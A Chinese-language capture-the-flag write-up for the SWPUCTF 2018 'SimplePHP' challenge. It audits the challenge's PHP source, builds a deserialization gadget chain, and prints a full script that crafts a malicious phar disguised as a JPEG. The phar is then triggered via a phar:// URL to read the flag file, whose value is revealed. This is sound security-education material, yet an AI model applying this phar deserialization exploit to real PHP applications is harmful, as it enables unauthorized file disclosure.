Web｜[SWPUCTF 2018]SimplePHP

访问是一个文件上传页面，点击查看文件页面

可以发现特殊的链接，应该存在文件包含

http://dfef288e-1b73-48e0-9458-a4e733c40c38.node4.buuoj.cn:81/file.php?file=

查看源码发现一些文件，页面内容提示flag在f1ag.php中

index.php
file.php
upload_file.php
f1ag.php

直接包含f1ag.php文件，提示hacker！，应该是文件名被过滤

查看其他文件内容

代码审计

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

在file.php中发现其他文件

function.php
class.php

经过查看主要有用的信息在class.php和funcion.php中
class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

在function.php中发现，上传文件是白名单验证，并且上传的文件会被重命名在最后加上jpg后缀放到upload文件夹中，所以这里并不能绕过上传文件读取f1ag.php文件，需要找其他方法
在class.php文件中class show有提示//$this->source = phar://phar.jpg，所以这里应该是phar伪协议引起的反序列化漏洞

反序列化链

Test::file_get中$text = base64_encode(file_get_contents($value));，可以读取f1ag.php文件
Test 类中有利用链： __get –> get –> file_get，__get() 用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
调用__get方法：show::__tostring中，$content = $this->str['str']->source;，__toString() 把类当作字符串使用时触发，Test类中没有source变量，所以可以触发
调用__tostring方法：C1e4r::__destruct中，echo $this->test;，会将类进行输出，且__destruct() 是对象被销毁时触发，所以一定会触发

反序列化链

C1e4r::destruct() --> Show::toString() --> Test::__get() 

脚本

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$c->params['source']='/var/www/html/f1ag.php';
$b->str['str']=$c;
$a->str=$b;


$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);    //将自定义的$a存入meta-data,最后被反序列化
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成phar.phar文件改为phar.jpg后上传

获取文件名

上传文件后文件被重新命名，可以直接访问upload目录查看文件名

使用phar伪协议包含上传的文件

http://86d1a207-19cc-4bbf-9661-1f319defe08c.node4.buuoj.cn:81/file.php?file=phar://upload/42574e9d70ad4a54c530fd9a294a46dc.jpg	

得到base64编码的字符串

PD9waHAgDQoJLy8kYSA9ICdmbGFne2YwMmFjMTRkLWU4MDMtNDM0OC1iZTcwLThhMGMyNDgyNDI1M30nOw0KID8+DQoNCg==

解码得到flag

<?php 
	//$a = 'flag{f02ac14d-e803-4348-be70-8a0c24824253}';
 ?>